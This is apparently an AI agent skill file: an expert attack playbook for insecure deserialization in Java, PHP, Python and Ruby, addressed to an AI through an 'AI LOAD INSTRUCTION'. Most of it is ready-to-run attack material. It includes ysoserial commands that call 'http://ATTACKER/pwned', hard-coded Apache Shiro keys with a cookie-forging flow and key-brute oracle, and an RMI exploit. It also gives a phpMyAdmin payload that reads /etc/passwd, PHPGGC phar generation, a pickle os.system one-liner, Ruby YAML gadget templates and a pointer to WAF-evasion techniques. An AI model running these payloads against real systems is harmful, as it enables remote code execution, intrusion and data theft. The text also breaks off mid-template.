- name
- deserialization-insecure
- description
- Insecure deserialization playbook. Use when Java, PHP, or Python applications deserialize untrusted data via ObjectInputStream, unserialize, pickle, or similar mechanisms that may lead to RCE, file access, or privilege escalation.
# SKILL: Insecure Deserialization — Expert Attack Playbook
> **AI LOAD INSTRUCTION**: Expert deserialization techniques across Java, PHP, and Python. Covers gadget chain selection, traffic fingerprinting, tool usage (ysoserial, PHPGGC), Shiro/WebLogic/Commons Collections specifics, Phar deserialization, and Python pickle abuse. Base models often miss the distinction between finding the sink and finding a usable gadget chain.
## 0. RELATED ROUTING
- [jndi-injection](../hack-jndi-injection/SKILL.md) when deserialization leads to JNDI lookup (e.g., post-JDK 8u191 bypass via LDAP → deserialization)
- unauthorized-access-common-services when the deserialization endpoint is an exposed management service (RMI Registry, T3, AJP)
- [ghost-bits-cast-attack](../hack-ghost-bits-cast-attack/SKILL.md) when a WAF blocks your BCEL ClassLoader or Fastjson `@type` payload — Ghost Bits wraps each bytecode byte in a Unicode char whose low 8 bits match, yielding a payload the WAF cannot fingerprint
### Advanced Reference
Also load [JAVA_GADGET_CHAINS.md](./JAVA_GADGET_CHAINS.md) when you need:
- Java gadget chain version compatibility matrix (CommonsCollections 1–7, CommonsBeanutils, Spring, JDK-only, Groovy, Hibernate, ROME, C3P0, etc.)
- SnakeYAML gadget (ScriptEngineManager/URLClassLoader) with exploit JAR structure
- Hessian/Kryo/Avro/XStream deserialization patterns and traffic fingerprints
- .NET ViewState deserialization (machineKey requirement, ViewState forgery with ysoserial.net, Blacklist3r)
- Ruby YAML.load vs YAML.safe_load exploitation with version-specific chains
- Detection fingerprints: magic bytes table by format (Java `AC ED`, .NET `AAEAAD`, Python pickle `80 0N`, PHP `O:`, Ruby `04 08`)
---
## 1. TRAFFIC FINGERPRINTING — IS IT DESERIALIZATION?
### Java Serialized Objects
| Indicator | Where to Look |
|---|---|
| Hex `ac ed 00 05` | Raw binary in request/response body, cookies, POST params |
| Base64 `rO0AB` | Cookies (`rememberMe`), hidden form fields, JWT claims |
| `Content-Type: application/x-java-serialized-object` | HTTP headers |
| T3/IIOP protocol traffic | WebLogic ports (7001, 7002) |
### PHP Serialized Objects
| Indicator | Where to Look |
|---|---|
| `O:NUMBER:"ClassName"` pattern | POST body, cookies, session files |
| `a:NUMBER:{` (array) | Same locations |
| `phar://` URI usage | File operations accepting user-controlled paths |
### Python Pickle
| Indicator | Where to Look |
|---|---|
| Hex `80 03` or `80 04` (protocol 3/4) | Binary data in requests, message queues |
| Base64-encoded binary blob | API params, cookies, Redis values |
| `pickle.loads` / `pickle.load` in source | Code review / whitebox |
---
## 2. JAVA — GADGET CHAINS AND TOOLS
### ysoserial — Primary Tool
```bash
# Generate payload (example: CommonsCollections1 chain with command)
java -jar ysoserial.jar CommonsCollections1 "curl http://ATTACKER/pwned" > payload.bin
# Base64-encode for HTTP transport
java -jar ysoserial.jar CommonsCollections1 "id" | base64 -w0
# Common chains to try (ordered by frequency of vulnerable dependency):
# CommonsCollections1-7 — Apache Commons Collections 3.x / 4.x
# Spring1, Spring2 — Spring Framework
# Groovy1 — Groovy
# Hibernate1 — Hibernate
# JBossInterceptors1 — JBoss
# Jdk7u21 — JDK 7u21 (no extra dependency)
# URLDNS — DNS-only confirmation (no RCE, works everywhere)
```
### URLDNS — Safe Confirmation Probe
URLDNS triggers a DNS lookup without RCE — safe for confirming deserialization without damage:
```bash
java -jar ysoserial.jar URLDNS "http://UNIQUE_TOKEN.burpcollaborator.net" > probe.bin
```
DNS hit on collaborator = confirmed deserialization. Then escalate to RCE chains.
### Commons Collections — The Classic Chain
The vulnerability exists when `org.apache.commons.collections` (3.x) is on the classpath and the application calls `readObject()` on untrusted data.
Key classes in the chain: `InvokerTransformer` → `ChainedTransformer` → `TransformedMap` → triggers `Runtime.exec()` during deserialization.
### Apache Shiro — rememberMe Deserialization
Shiro uses AES-CBC to encrypt serialized Java objects in the `rememberMe` cookie.
```text
Known hard-coded keys (SHIRO-550 / CVE-2016-4437):
kPH+bIxk5D2deZiIxcaaaA== # most common default
wGJlpLanyXlVB1LUUWolBg== # another common default in older versions
4AvVhmFLUs0KTA3Kprsdag==
Z3VucwAAAAAAAAAAAAAAAA==
```
**Attack flow**:
1. Detect: response sets `rememberMe=deleteMe` cookie on invalid session
2. Generate ysoserial payload (CommonsCollections6 recommended for broad compat)
3. AES-CBC encrypt with known key + random IV
4. Base64-encode → set as `rememberMe` cookie value
5. Send request → server decrypts → deserializes → RCE
**DNSLog confirmation** (before full RCE): use URLDNS chain → `java -jar ysoserial.jar URLDNS "http://xxx.dnslog.cn"` → encrypt → set cookie → check DNSLog for hit.
**Post-fix (random key)**: Key may still leak via padding oracle, or another CVE (SHIRO-721).
#### Shiro Key-Brute Oracle (SimplePrincipalCollection) — field-verified method
Brute-forcing the AES key does NOT need a gadget chain or DNSLog. Encrypt a **legitimate empty `SimplePrincipalCollection`** (a Shiro-core class, always on classpath, harmless — deserializes to an empty principals object) and watch the response:
- Key **wrong** → AES-CBC padding fails → response sets `rememberMe=deleteMe`
- Key **correct** → decrypt + deserialize succeed → response has **no** `deleteMe`
Critical pitfalls (field lesson, 2026-08 field engagement):
1. **Do NOT trust hardcoded template bytes from blogs.** The circulating "classic" SimplePrincipalCollection hex template has wrong name-length/suid/ending for many Shiro versions — `serialVersionUID` differs per Shiro release (shiro-core 1.2.4 = `a87f5825c6a3084a`; blog templates carry other versions). A bad template yields all-`deleteMe` **false negatives** even when the key is in your dictionary. Generate the template yourself with local Java + the shiro-core jar:
```java
// javac -source 8 -target 8 -cp shiro-core.jar Gen.java && java -cp "shiro-core.jar;." Gen
ObjectOutputStream o = new ObjectOutputStream(baos);
o.writeObject(new SimplePrincipalCollection()); // hex-print baos.toByteArray()
```
shiro-core jar from Maven Central (e.g. `org/apache/shiro/shiro-core/1.2.4/`).
Known-good shiro-core 1.2.4 bytes (verify against your own generation):
`aced0005 7372 0032 6f7267...436f6c6c656374696f6e a87f5825c6a3084a 030001 4c000f 7265616c6d5072696e636970616c73 74000f 4c6a6176612f7574696c2f4d61703b 78 70 70 770100 78`
2. **Payload MUST be a `PrincipalCollection`.** Shiro's `convertBytesToPrincipals` casts `readObject()` result to `PrincipalCollection` — a JDK-class oracle payload (Integer/HashMap) throws ClassCastException → also `deleteMe`, indistinguishable from wrong key.
3. **Try BOTH IV modes per key**: (A) legacy `iv = key` (old CookieRememberMeManager uses cipherKey as IV, cookie = ciphertext only); (B) `iv-prepend` (cookie = iv + ciphertext). Some builds differ.
4. Dictionary: `shiro_keys_200.txt` (Mr-xn/Penetration_Testing_POC) ~200 common keys covers most defaults; a custom random key is unbrutable — stop and record "mechanism present, key not in common dict" honestly.
5. If the key hits, THEN escalate to gadget chains (URLDNS → CommonsBeanutils/CC depending on classpath) as per the standard flow above.
### WebLogic Deserialization
Multiple vectors:
- **T3 protocol** (port 7001): direct serialized object injection
- **XMLDecoder** (CVE-2017-10271): XML-based deserialization via `/wls-wsat/CoordinatorPortType`
- **IIOP protocol**: alternative to T3
```bash
# T3 probe — check if T3 is exposed:
nmap -sV -p 7001 TARGET
# Look for: "T3" or "WebLogic" in service banner
```
### Java RMI Registry
RMI Registry (port 1099) accepts serialized objects by design:
```bash
# ysoserial exploit module for RMI:
java -cp ysoserial.jar ysoserial.exploit.RMIRegistryExploit TARGET 1099 CommonsCollections1 "id"
# Requires: vulnerable library on target's classpath
# Works on: JDK <= 8u111 without JEP 290 deserialization filter
```
### JDK Version Constraints
| JDK Version | Impact |
|---|---|
| < 8u121 | RMI/LDAP remote class loading works |
| 8u121-8u190 | `trustURLCodebase=false` for RMI; LDAP still works |
| >= 8u191 | Both RMI and LDAP remote class loading blocked |
| >= 8u191 bypass | Use LDAP → return serialized gadget object (not remote class) |
---
## 3. PHP — unserialize AND PHAR
### Magic Method Chain
PHP deserialization triggers magic methods in order:
```
__wakeup() → called immediately on unserialize()
__destruct() → called when object is garbage-collected
__toString() → called when object is used as string
__call() → called for inaccessible methods
```
**Attack**: craft a serialized object whose `__destruct()` or `__wakeup()` triggers dangerous operations (file write, SQL query, command execution, SSRF).
### Serialized Object Format
```php
O:8:"ClassName":2:{s:4:"prop";s:5:"value";s:4:"cmd";s:2:"id";}
// O:LENGTH:"CLASS":PROP_COUNT:{PROPERTIES}
```
### phpMyAdmin Configuration Injection (Real-World Case)
phpMyAdmin `PMA_Config` class reads arbitrary files via `source` property:
```text
action=test&configuration=O:10:"PMA_Config":1:{s:6:"source";s:11:"/etc/passwd";}
```
### PHPGGC — PHP Gadget Chain Generator
```bash
# List available chains:
phpggc -l
# Generate payload (example: Laravel RCE):
phpggc Laravel/RCE1 system id
# Common chains:
# Laravel/RCE1-10
# Symfony/RCE1-4
# Guzzle/RCE1
# Monolog/RCE1-2
# WordPress/RCE1
# Slim/RCE1
```
### Phar Deserialization
Phar archives contain serialized metadata. Any file operation on a `phar://` URI triggers deserialization — even when `unserialize()` is never directly called.
**Triggering functions** (partial list):
```
file_exists() file_get_contents() fopen()
is_file() is_dir() copy()
filesize() filetype() stat()
include() require() getimagesize()
```
**Attack flow**:
1. Upload a valid file (e.g., JPEG with phar polyglot)
2. Trigger file operation: `file_exists("phar://uploads/avatar.jpg")`
3. PHP deserializes phar metadata → gadget chain executes
```bash
# Generate phar with PHPGGC:
phpggc -p phar -o exploit.phar Monolog/RCE1 system id
```
---
## 4. PYTHON — PICKLE
### __reduce__ Method
Python's `pickle.loads()` calls `__reduce__()` on objects during deserialization, which can return a callable + args:
```python
import pickle
import os
class Exploit:
def __reduce__(self):
return (os.system, ("id",))
payload = pickle.dumps(Exploit())
# Send payload to target that calls pickle.loads()
```
### Analyzing Pickle Opcodes
```python
import pickletools
pickletools.dis(payload)
# Shows opcodes: GLOBAL, REDUCE, etc.
# Look for GLOBAL referencing dangerous modules (os, subprocess, builtins)
```
### Common Python Deserialization Sinks
```python
pickle.loads(user_data)
pickle.load(file_handle)
yaml.load(data) # PyYAML without Loader=SafeLoader
jsonpickle.decode(data)
shelve.open(path)
```
### Defensive Bypass: RestrictedUnpickler
Even when `RestrictedUnpickler.find_class` is used, check if the whitelist is too broad:
```python
class RestrictedUnpickler(pickle.Unpickler):
def find_class(self, module, name):
if module == "builtins" and name in safe_builtins:
return getattr(builtins, name)
raise pickle.UnpicklingError(f"forbidden: {module}.{name}")
```
If `safe_builtins` includes `eval`, `exec`, or `__import__` → still exploitable.
---
## 5. DETECTION METHODOLOGY
```
Found binary blob or encoded object in request/cookie?
├── Java signature (ac ed / rO0AB)?
│ ├── Use URLDNS probe for safe confirmation
│ ├── Identify libraries (error messages, known product)
│ └── Try ysoserial chains matching identified libraries
│
├── PHP signature (O:N:"...)?
│ ├── Identify framework (Laravel, Symfony, WordPress)
│ ├── Try PHPGGC chains for that framework
│ └── Check for phar:// wrapper in file operations
│
├── Python (opaque binary, base64 blob)?
│ ├── Try pickle payload with DNS callback
│ └── Check if PyYAML unsafe load is used
│
└── Not sure?
├── Try URLDNS payload (Java) — check DNS
├── Try PHP serialized test string
└── Monitor error messages for class loading failures
```
---
## 6. DEFENSE AWARENESS
| Language | Mitigation |
|---|---|
| Java | JEP 290 deserialization filters; whitelist allowed classes; avoid `ObjectInputStream` on untrusted data; use JSON/Protobuf instead |
| PHP | Avoid `unserialize()` on user input; use `json_decode()` instead; block `phar://` in file operations |
| Python | Use `pickle` only for trusted data; use `json` for external input; PyYAML: always use `yaml.safe_load()` |
---
## 7. QUICK REFERENCE — KEY PAYLOADS
```text
# Java — URLDNS confirmation
java -jar ysoserial.jar URLDNS "http://TOKEN.collab.net"
# Java — RCE via CommonsCollections
java -jar ysoserial.jar CommonsCollections1 "curl http://ATTACKER/pwned"
# PHP — Laravel RCE
phpggc Laravel/RCE1 system "id"
# PHP — Phar polyglot
phpggc -p phar -o exploit.phar Monolog/RCE1 system "id"
# Python — Pickle RCE
python3 -c "import pickle,os;print(pickle.dumps(type('X',(),{'__reduce__':lambda s:(os.system,('id',))})()).hex())"
# Shiro default key test
rememberMe=<AES-CBC(key=kPH+bIxk5D2deZiIxcaaaA==, payload=ysoserial_output)>
```
---
## 8. RUBY DESERIALIZATION
### Ruby Marshal
- `Marshal.load` on untrusted data → RCE
- Fingerprint: binary data, no common text header
- Gadget chains exist for various Ruby versions
- Docker verification: hex payload via `[hex_string].pack("H*")`
### Ruby YAML (YAML.load)
- `YAML.load` (not `YAML.safe_load`) executes arbitrary Ruby objects
- **Pre Ruby 2.7.2**: `Gem::Requirement` chain → `git_set: id` / `git_set: sleep 600`
- **Ruby 2.x-3.x**: `Gem::Installer` → `TarReader` → `Kernel#system` chain (longer, multi-step)
- Always test: `YAML.load("--- !ruby/object:Gem::Installer\ni: x")` for class instantiation check
- Payload template:
```yaml
--- !ruby/object:Gem::Requirement
requirements:
!ruby/object:Gem::DependencyList
type: :runtime
specs:
عرض على GitHub